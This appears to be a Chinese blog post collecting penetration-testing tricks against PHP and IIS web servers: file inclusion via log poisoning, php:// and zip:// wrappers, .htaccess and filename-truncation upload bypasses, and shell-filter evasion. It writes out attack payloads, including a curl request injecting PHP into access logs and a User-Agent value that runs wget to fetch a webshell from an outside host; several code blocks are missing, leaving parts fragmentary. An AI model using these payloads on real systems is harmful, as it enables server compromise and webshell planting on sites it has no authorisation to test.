结合最近学习的知识,总结一下渗透测试中的一些小技巧,仅做参考。
0x01 PHP文件包含
利用网站文件上传功能:,比如上传头像之类,可以尝试包含上传的文件。
利用php封装协议php://input
和data://
:,包含post数据造成php命令执行.
|
|
包含log日志文件:当我们提交恶意代码时也会被记录,结合解析漏洞即可getshell(有读权限)。
apache日志默认在/etc/httpd/logs/access_log
;
在日志文件中插入PHP代码
方法一 :使用burpsuit抓包访问 ,绕过浏览器编码<>
方法二 :curl 访问不存在的url
curl http://example/shell.php?=<?php phpinfo();?>
这样php代码就被写到log里面了 包含一下日志:
http://127.0.0.1/lfi/index.php?page=/etc/httpd/logs/access_log
包含/proc/self/environ文件:这需要PHP运行作为一个具有cgion/proc
伪文件的系统且PHP脚本有权访问这些伪文件。
填写User-Agent字段如下:<?system('wget http://eyidaima/shell.txt -O shell.php');?>
包含会话文件:这需要攻击者能控制会话中的任何字符串值(注入代码,例如phpinfo()
,会话文件必须存放在serializedsession文件且PHP脚本能够访问会话文件(通常是/tmp/sess_SESSIONID
文件)。
包含其他由php应用创建的文件:只要你能想到的,都可以尝试创建,然后包含他,比如数据库文件,缓存文件,应用程序级别的日志。
0x02 利用.htaccess
文件绕过黑名单
.htaccess
文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。自定义.htaccess
上传,内容如下:
同目录下,上传一个shell.jpg文件,内容是一句话,这个时候就成功绕过。
0x03 PHP流封装绕过截断
技巧来源:王松
假设存在文件包含的代码为:
但是我们%00
无法截断, 只能包含xxxx.html.php
首先我们新建一个hello.html.php
,内容为phpinfo()
;
然后压缩成zip
然后访问如下网址,即可成功包含压缩文件内的hello.html.php
http://example/index.php?file=zip://test.zip%23hello
把我们输入的变量和include后面的变量合起来就是zip://test.zip#hello.html.php
代表当前目录下的test.zip
压缩包里面的hello.html.php
,于是就包含成功。
0x04 通用防注入系统getshell
很多人渗透测试的时候,发现防注入系统,比如说记录了ip,时间,提交数据等等,通过阅读类似程序的源码得知数据记录在sqlin.asp
。
提交如下数据:
菜刀连接sqlin.asp
即可。
0x05 iis+php黑名单上传突破
技巧来源:P牛
在php+window+iis环境下:
该特性只能用于文件上传时覆盖已知的文件,于是这特性便略显鸡肋.不过P牛已经给出完美利用的方法:
思路如下:
- 利用冒号“:”截断
- 利用“<”==“*”覆盖上传文件
我们都知道在文件上传时,我们往往会考虑到文件名截断,如%00
,:
去截断,如:bypass.php:jpg
但是冒号截断产生的文件是空白的,里面并不会有任何的内容,虽然生成的php文件里面没有内容,但是php文件总生成了吧,所以我们可以结合上面所说的特性完美成功利用.
- 首先利用冒号生成我们将要覆盖的php文件,上传文件名为
bypass.php:jpg
的文件,截断之后产生一个bypass.php
的空白php文件。 - 利用上面的系统特性覆盖该文件:
<
就等于*
,而*
代表任意字符burp里修改文件名为bypass.<<<
内容为一句话,这样,就会生成一个带有一句话木马的bypass.php
文件。
0x06 命令执行绕过
技巧来源:l3m0n
- escapeshellcmd:
escapeshellcmd()
对字符串中可能会欺骗 shell命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到exec()
或system()
函数,或者执行操作符之前进行转义为^
,利用%1a
,可以绕过过滤执行命令。 黑名单绕过
1234执行ls命令:a=l;b=s;$a$bcat hello文件内容:a=c;b=at;c=he;d=llo;$a$b ${c}${d}空格绕过
123456绕过空格${IFS}cat${IFS}hello或者在读取文件的时候利用重定向符<>cat<>hello无回显
无回显获取数据的需求还是挺大的,比如sql,xxe,xss等等,这个时候一般可以用dns/http通道来获取数据。
linux:
|
|
windows: